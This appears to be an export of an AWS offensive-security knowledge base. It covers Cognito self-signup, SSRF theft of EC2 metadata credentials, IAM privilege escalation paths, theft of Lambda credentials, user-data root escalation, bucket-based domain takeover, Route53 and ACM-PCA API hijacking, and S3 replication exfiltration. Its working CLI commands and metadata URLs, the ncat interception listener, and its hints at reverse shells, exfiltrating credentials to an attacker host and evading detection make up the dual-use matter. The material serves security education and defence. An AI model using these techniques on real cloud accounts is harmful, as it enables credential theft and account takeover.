      "},{"location":"aws/exploitation/cognito_user_self_signup/","title":"Unintended Self-Signup in AWS Cognito","text":"
      • Additional Resources

        • CloudGoat Scenario: vulnerable_cognito

      A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users.

      However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If \"Admin Only\" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.

      "},{"location":"aws/exploitation/cognito_user_self_signup/#how-it-works","title":"How it works","text":"

      Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.

      "},{"location":"aws/exploitation/cognito_user_self_signup/#web-applications","title":"Web applications:","text":"

      An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:

      1. Opening the web application in a web browser.
      2. Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage.
      3. Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID.

      It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.

      "},{"location":"aws/exploitation/cognito_user_self_signup/#mobile-applications","title":"Mobile applications:","text":"

      Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:

      1. Downloading the application package (APK for Android, IPA for iOS) to a local device.
      2. Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications.
      3. Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.
      "},{"location":"aws/exploitation/cognito_user_self_signup/#exploitation","title":"Exploitation","text":"

      Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:

      $ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}\n

      If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.

      $ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password} --user-attributes Name=email,Value={email_address}\n
      "},{"location":"aws/exploitation/cognito_user_self_signup/#impact","title":"Impact","text":"

      The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways.

      Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.

      In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See Cognito Identity Pool Excessive Privileges for more information.

      "},{"location":"aws/exploitation/ec2-metadata-ssrf/","title":"Steal EC2 Metadata Credentials via SSRF","text":"

      Note

      This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.

      One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.

      Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

      If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.

      "},{"location":"aws/exploitation/ec2-metadata-ssrf/#stealing-iam-credentials-from-the-instance-metadata-service","title":"Stealing IAM Credentials from the Instance Metadata Service","text":"

      If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.

      This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.

      To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to http://169.254.169.254.

      To determine if the EC2 instance has an IAM role associated with it, we can make a request to http://169.254.169.254/latest/meta-data/iam/. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.

      If there is a valid role we can steal, we can make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.

      To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/.

      These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.

      Note

      An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.

      "},{"location":"aws/exploitation/ec2-metadata-ssrf/#additional-resources","title":"Additional Resources","text":"

      For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.

      "},{"location":"aws/exploitation/iam_privilege_escalation/","title":"AWS IAM Privilege Escalation Techniques","text":"
      • Original Research

        AWS IAM Privilege Escalation \u2013 Methods and Mitigation by Spencer Gietzen

      • Additional Resources

        • AWS IAM Privilege Escalation Methods
        • Well, That Escalated Quickly: Privilege Escalation in AWS by Gerben Kleijn

      Note

      If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#codestarcreateproject-codestarassociateteammember","title":"codestar:CreateProject, codestar:AssociateTeamMember","text":"

      With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.

      This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#glueupdatedevendpoint","title":"glue:UpdateDevEndpoint","text":"

      With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamaddusertogroup","title":"iam:AddUserToGroup","text":"

      With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachgrouppolicy","title":"iam:AttachGroupPolicy","text":"

      With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachrolepolicy","title":"iam:AttachRolePolicy","text":"

      With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachuserpolicy","title":"iam:AttachUserPolicy","text":"

      With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey","title":"iam:CreateAccessKey","text":"

      With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateloginprofile","title":"iam:CreateLoginProfile","text":"

      With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreatepolicyversion","title":"iam:CreatePolicyVersion","text":"

      With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepermissionsboundary","title":"iam:DeleteRolePermissionsBoundary","text":"

      With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepolicy","title":"iam:DeleteRolePolicy","text":"

      With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpermissionsboundary","title":"iam:DeleteUserPermissionsBoundary","text":"

      With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpolicy","title":"iam:DeleteUserPolicy","text":"

      With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachrolepolicy","title":"iam:DetachRolePolicy","text":"

      With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachuserpolicy","title":"iam:DetachUserPolicy","text":"

      With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,","text":"

      With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate","text":"

      With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-cloudformationcreatestack","title":"iam:PassRole, cloudformation:CreateStack","text":"

      With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-codestarcreateproject","title":"iam:PassRole, codestar:CreateProject","text":"

      With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition","title":"iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition","text":"

      With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-ec2runinstances","title":"iam:PassRole, ec2:RunInstances","text":"

      With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.

      This can be taken advantage of with the following one-liner:

      Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.

      A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.

      Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatedevendpoint","title":"iam:PassRole, glue:CreateDevEndpoint","text":"

      With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatejob","title":"iam:PassRole, glue:CreateJob","text":"

      With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-glueupdatejob","title":"iam:PassRole, glue:UpdateJob","text":"

      With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdaaddpermission-lambdacreatefunction","title":"iam:PassRole, lambda:AddPermission, lambda:CreateFunction","text":"

      With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction","title":"iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction","text":"

      With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.

      It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreatefunction-lambdainvokefunction","title":"iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction","text":"

      With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputgrouppolicy","title":"iam:PutGroupPolicy","text":"

      With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepermissionsboundary","title":"iam:PutRolePermissionsBoundary","text":"

      With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepolicy","title":"iam:PutRolePolicy","text":"

      With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpermissionsboundary","title":"iam:PutUserPermissionsBoundary","text":"

      With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpolicy","title":"iam:PutUserPolicy","text":"

      With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamsetdefaultpolicyversion","title":"iam:SetDefaultPolicyVersion","text":"

      With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateassumerolepolicy","title":"iam:UpdateAssumeRolePolicy","text":"

      With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile","title":"iam:UpdateLoginProfile","text":"

      With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctioncode","title":"lambda:UpdateFunctionCode","text":"

      With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctionconfiguration","title":"lambda:UpdateFunctionConfiguration","text":"

      With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.

      "},{"location":"aws/exploitation/lambda-steal-iam-credentials/","title":"Steal IAM Credentials and Event Data from Lambda","text":"
      • Technique seen in the wild

        Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild

      In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because \"everything is a file\".

      IAM credentials can be accessed via reading /proc/self/environ.

      Note

      In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.

      In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at http://169.254.100.1:9001/2018-06-01/runtime/invocation/next. Additionally the environment variable AWS_LAMBDA_RUNTIME_API stores the IP address and port of the runtime interface as well.

      This will include information about what invoked the Lambda function and may be valuable depending on the context.

      Note

      Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.

      "},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/","title":"EC2 Privilege Escalation Through User Data","text":"

      If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.

      "},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#ec2modifyinstanceattribute","title":"ec2:ModifyInstanceAttribute","text":"
      • Required IAM Permissions

        • ec2:ModifyInstanceAttribute
      • Recommended but not Required IAM Permissions

        • ec2:StartInstances
        • ec2:DescribeInstances
        • ec2:StopInstances
      • Original Research

        aws_pwn:elevation by Daniel Grzelak

      If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.

      Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.

      To do this, first create a file in the following format.

      Content-Type: multipart/mixed; boundary=\"//\"\nMIME-Version: 1.0\n\n--//\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config.txt\"\n\n#cloud-config\ncloud_final_modules:\n- [scripts-user, always]\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"userdata.txt\"\n\n#!/bin/bash\n**commands here**\n--//\n

      Modify the commands here section to do whatever action you want. Setting a reverse shell, adding an ssh key to the default user, etc. are all good options.

      Once you've done that, convert the file to base64. Linux can do this with the following command.

      base64 file.txt > file.b64.txt

      Windows can do this with the following command.

      certutil -encode file.txt tmp.b64 && findstr /v /c:- tmp.b64 > file.b64.txt

      Now that you've base64 encoded your payload, you will leverage the ec2:ModifyInstanceAttribute API call to change the user data of the target instance.

      Note

      The instance will need to be stopped to modify its user data. You'll either have to stop it yourself, or wait for something else to stop it.

      aws ec2 modify-instance-attribute \\\n--instance-id=xxx \\\n--attribute userData \\\n--value file://file.b64.txt\n

      With that change made, simply start the instance again and your command will be executed with root/System.

      "},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#leverage-scripts-in-s3","title":"Leverage scripts in S3","text":"

      A common pattern when using EC2 is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download and set a config, etc. Oftentimes the scripts and packages are pulled from S3 and this introduces an opportunity for a developer/ops person to make a mistake.

      If the IAM role is too permissive and allows the role to write to that location, an adversary can leverage this for privilege escalation. Additionally, if there is any other kind of misconfiguration on the bucket itself, or another role which has access gets compromised, an adversary can take advantage of this as well.

      Take the following user data script:

      #!/bin/bash\naws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh\nchmod +x /root/start_script.sh\n/root/start_script.sh\n

      On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.

      Note

      In addition to new instances being spun up or after a reboot, poisoning the scripts/applications can also effect EC2 instances in an Auto Scaling Group.

      "},{"location":"aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/","title":"DNS and CloudFront Domain Takeover via Deleted S3 Buckets","text":"
      • Additional Resources

        Discover Dangling Domains that point to your cloud assets to prevent subdomain takeover

      • Tools mentioned in this article

        domain-protect: OWASP Domain Protect - prevent subdomain takeover.

      Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.

      Note

      Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a NoSuchBucket error. For example:

      <Error>\n<Code>NoSuchBucket</Code>\n<Message>The specified bucket does not exist</Message>\n<BucketName>hackingthe.cloud</BucketName>\n<RequestId>68M9C1KTARF9FBYN</RequestId>\n<HostId>RpbdvVU9AXidVVI/1zD+WTwYdVI5YMqQNJShmf6zJlztBVyINq8TtqbzWpThdi/LivlOWRVCPVs=</HostId>\n</Error>\n

      This made it easy for attackers to identify the bucket name and quickly create their own to serve malicious content. As of late 2023, this behavior has been changed. Now CloudFront distributions pointing to deleted S3 buckets will return a NotFound error, and will not include the bucket name. This is a clear security improvement from AWS and makes it more difficult for an adversary to abuse.

      If an adversary can enumerate the deleted bucket name through other means they can perform the attack as normal.

      While there are a variety of ways in which this could be harmful, typically an adversary would serve JavaScript content that could be used to impact other parts of the domain. An adversary could use this to potentially steal browser cookies, perform actions as the user, and more.

      Tip

      Misconfigurations such as these are typically caused by poor hygiene in retiring cloud resources. Always be sure to delete DNS records first to potentially mitigate these issues. There are automated services out there that will automate the discovery of vulnerable domains/CloudFront distributions such as OWASP's domain-protect.

      "},{"location":"aws/exploitation/route53_modification_privilege_escalation/","title":"AWS API Call Hijacking via ACM-PCA","text":"
      • Required IAM Permissions

        • route53:CreateHostedZone
        • route53:ChangeResourceRecordSets
        • acm-pca:IssueCertificate
        • acm-pca:GetCertificate
      • Recommended but not Required IAM Permissions

        • route53:GetHostedZone
        • route53:ListHostedZones
        • acm-pca:ListCertificateAuthorities
        • ec2:DescribeVpcs
      • Original Research

        Hijacking AWS API calls by niebardzo

      Note

      To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.

      Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.

      This is possible because:

      • AWS SDKs do not have Certificate Pinning
      • Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
      • Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names

      For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com:

      aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=<VPCId>\n

      Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:

      {\n  \"Comment\": \"<anything>\",\n  \"Changes\": [{\n    \"Action\": \"UPSERT\",\n    \"ResourceRecordSet\": {\n      \"Name\": \"secretsmanager.us-east-1.amazonaws.com\",\n      \"Type\": \"A\",\n      \"TTL\": 0,\n      \"ResourceRecords\": [{\"Value\": \"<ip_of_adversary_instance_in_the_VPC>\"}]\n    }\n  }]\n}\n

      One set TTL to 0 to avoid DNS caching. Then, the advisory uses this payload to change-resource-record-sets:

      aws route53 change-resource-record-sets --hosted-zone-id <id_returned_by_previous_API_call> --change-batch file://mitm.json\n

      Now, the adversary must generate the CSR and send it for signing to the ACM-PCA, CSR and private key can be generated with OpenSSL:

      openssl req -new -newkey rsa:2048 -nodes -keyout your_domain.key -out your_domain.csr\n

      For CN (Common Name), one must provide secretsmanager.us-east-1.amazonaws.com. Then one sends the CSR to acm-pca to issue the certificate:

      aws acm-pca issue-certificate --certificate-authority-arn \"<arn_of_ca_used_within_vpc>\" --csr file://your_domain.csr --signing-algorithm SHA256WITHRSA --validity Value=365,Type=\"DAYS\" --idempotency-token 1234\n

      It returns the signed certificate ARN in the response. The next call is to fetch the certificate.

      aws acm-pca get-certificate --certificate-arn \"<cert_arn_from_previous_response>\" --certificate-authority-arn \"<arn_of_ca_used_within_vpc>\"\n

      Once one got the signed certificate on the disk as cert.crt, the adversary starts the listener or 443/TCP and sniffs the calls to the secretsmanager.us-east-1.amazonaws.com

      sudo ncat --listen -p 443 --ssl --ssl-cert cert.crt --ssl-key your_domain.key -v\n

      The calls can be then forwarded to the Secrets Manager VPCE to for example GetSecretValue and get unauthorized access to the data. The same action can be done with any AWS API called from the VPC - S3, KMS, etc.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/","title":"Exfiltrating S3 Data with Bucket Replication Policies","text":"
      • Additional Resources

        Data exfiltration with native AWS S3 features by Ben Leembnruggen

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#introduction","title":"Introduction","text":"

      S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.

      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#required-configurations-and-permissions","title":"Required Configurations and Permissions","text":""},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#pre-requisites","title":"Pre-requisites","text":"

      For bucket replication to be enabled, the following pre-requisites need to be in place:

      • The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.
      • Both source and destination buckets must have versioning enabled.
      • If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.
      "},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#iam-role","title":"IAM Role","text":"

      Minimum Required IAM Permissions - Source Account

      • iam:CreateRole (creating a new role)
      • iam:CreatePolicy & iam:AttachRolePolicy (creating a new policy) or iam:PutRolePolicy (modifying an existing policy)
      • iam:UpdateAssumeRolePolicy

